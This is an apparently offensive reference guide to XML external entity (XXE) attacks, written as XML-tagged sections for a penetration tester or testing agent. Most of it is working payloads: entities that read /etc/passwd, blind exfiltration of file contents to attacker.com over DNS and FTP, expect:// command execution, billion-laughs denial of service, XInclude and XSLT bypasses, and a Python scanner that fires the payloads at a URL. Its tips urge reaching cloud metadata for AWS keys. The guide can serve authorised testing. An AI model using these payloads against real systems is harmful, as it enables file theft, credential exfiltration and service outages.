<!doctype foo [
|
||||
<!DoCtYpE foo [
|
||||
<!DOCTYPE foo PUBLIC "Any" "http://evil.com/evil.dtd">
|
||||
<!DOCTYPE foo SYSTEM "http://evil.com/evil.dtd">
|
||||
</doctype_variations>
|
||||
</filter_bypasses>
|
||||
|
||||
<specific_contexts>
|
||||
<json_xxe>
|
||||
{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}
|
||||
</json_xxe>
|
||||
|
||||
<soap_xxe>
|
||||
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<foo>&xxe;</foo>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
</soap_xxe>
|
||||
|
||||
<svg_xxe>
|
||||
<svg xmlns="http://www.w3.org/2000/svg">
|
||||
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<text>&xxe;</text>
|
||||
</svg>
|
||||
</svg_xxe>
|
||||
|
||||
<docx_xlsx_xxe>
|
||||
1. Unzip document
|
||||
2. Edit document.xml or similar
|
||||
3. Add XXE payload
|
||||
4. Rezip and upload
|
||||
</docx_xlsx_xxe>
|
||||
</specific_contexts>
|
||||
|
||||
<blind_xxe_techniques>
|
||||
<dns_exfiltration>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % data SYSTEM "file:///etc/hostname">
|
||||
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'http://%data;.attacker.com/'>">
|
||||
%param;
|
||||
%exfil;
|
||||
]>
|
||||
</dns_exfiltration>
|
||||
|
||||
<ftp_exfiltration>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
|
||||
%param;
|
||||
%exfil;
|
||||
]>
|
||||
</ftp_exfiltration>
|
||||
|
||||
<php_wrappers>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
||||
]>
|
||||
<root>&xxe;</root>
|
||||
</php_wrappers>
|
||||
</blind_xxe_techniques>
|
||||
|
||||
<xxe_to_rce>
|
||||
<expect_module>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
|
||||
<root>&xxe;</root>
|
||||
</expect_module>
|
||||
|
||||
<file_upload_lfi>
|
||||
1. Upload malicious PHP via XXE
|
||||
2. Include via LFI or direct access
|
||||
</file_upload_lfi>
|
||||
|
||||
<java_specific>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///tmp/evil.jar!/evil.class">]>
|
||||
</java_specific>
|
||||
</xxe_to_rce>
|
||||
|
||||
<denial_of_service>
|
||||
<billion_laughs>
|
||||
<!DOCTYPE lolz [
|
||||
<!ENTITY lol "lol">
|
||||
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
|
||||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||
]>
|
||||
<lolz>&lol5;</lolz>
|
||||
</billion_laughs>
|
||||
|
||||
<external_dtd_dos>
|
||||
<!DOCTYPE foo SYSTEM "http://slow-server.com/huge.dtd">
|
||||
</external_dtd_dos>
|
||||
</denial_of_service>
|
||||
|
||||
<modern_bypasses>
|
||||
<xinclude>
|
||||
<root xmlns:xi="http://www.w3.org/2001/XInclude">
|
||||
<xi:include parse="text" href="file:///etc/passwd"/>
|
||||
</root>
|
||||
</xinclude>
|
||||
|
||||
<xslt>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="/">
|
||||
<xsl:copy-of select="document('file:///etc/passwd')"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
</xslt>
|
||||
</modern_bypasses>
|
||||
|
||||
<parser_specific>
|
||||
<java>
|
||||
- Supports jar: protocol
|
||||
- External DTDs by default
|
||||
- Parameter entities work
|
||||
</java>
|
||||
|
||||
<dotnet>
|
||||
- Supports file:// by default
|
||||
- DTD processing varies by version
|
||||
</dotnet>
|
||||
|
||||
<php>
|
||||
- libxml2 based
|
||||
- expect:// protocol with expect module
|
||||
- php:// wrappers
|
||||
</php>
|
||||
|
||||
<python>
|
||||
- Default parsers often vulnerable
|
||||
- lxml safer than xml.etree
|
||||
</python>
|
||||
</parser_specific>
|
||||
|
||||
<validation_testing>
|
||||
<detection>
|
||||
1. Basic entity test: &xxe;
|
||||
2. External DTD: http://attacker.com/test.dtd
|
||||
3. Parameter entity: %xxe;
|
||||
4. Time-based: DTD with slow server
|
||||
5. DNS lookup: http://test.attacker.com/
|
||||
</detection>
|
||||
|
||||
<false_positives>
|
||||
- Entity declared but not processed
|
||||
- DTD loaded but entities blocked
|
||||
- Output encoding preventing exploitation
|
||||
- Limited file access (chroot/sandbox)
|
||||
</false_positives>
|
||||
</validation_testing>
|
||||
|
||||
<impact_demonstration>
|
||||
1. Read sensitive files (/etc/passwd, web.config)
|
||||
2. Cloud metadata access (AWS keys)
|
||||
3. Internal network scanning (SSRF)
|
||||
4. Data exfiltration proof
|
||||
5. DoS demonstration
|
||||
6. RCE if possible
|
||||
</impact_demonstration>
|
||||
|
||||
<automation>
|
||||
# XXE Scanner
|
||||
def test_xxe(url, param):
|
||||
payloads = [
|
||||
'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
|
||||
'<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/"> %xxe;]><foo/>',
|
||||
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
|
||||
]
|
||||
|
||||
for payload in payloads:
|
||||
response = requests.post(url, data={param: payload})
|
||||
if 'root:' in response.text or check_callback():
|
||||
return f"XXE found with: {payload}"
|
||||
</automation>
|
||||
|
||||
<pro_tips>
|
||||
1. Try all protocols, not just file://
|
||||
2. Use parameter entities for blind XXE
|
||||
3. Chain with SSRF for cloud metadata
|
||||
4. Test different encodings (UTF-16)
|
||||
5. Don't forget JSON/SOAP contexts
|
||||
6. XInclude when entities are blocked
|
||||
7. Error messages reveal file paths
|
||||
8. Monitor DNS for blind confirmation
|
||||
9. Some parsers allow network access but not files
|
||||
10. Modern frameworks disable XXE by default - check configs
|
||||
</pro_tips>
|
||||
|
||||
<remember>XXE is about understanding parser behavior. Different parsers have different features and restrictions. Always test comprehensively and demonstrate maximum impact.</remember>
|
||||
</xxe_vulnerability_guide>
|
||||
Reference in New Issue
Block a user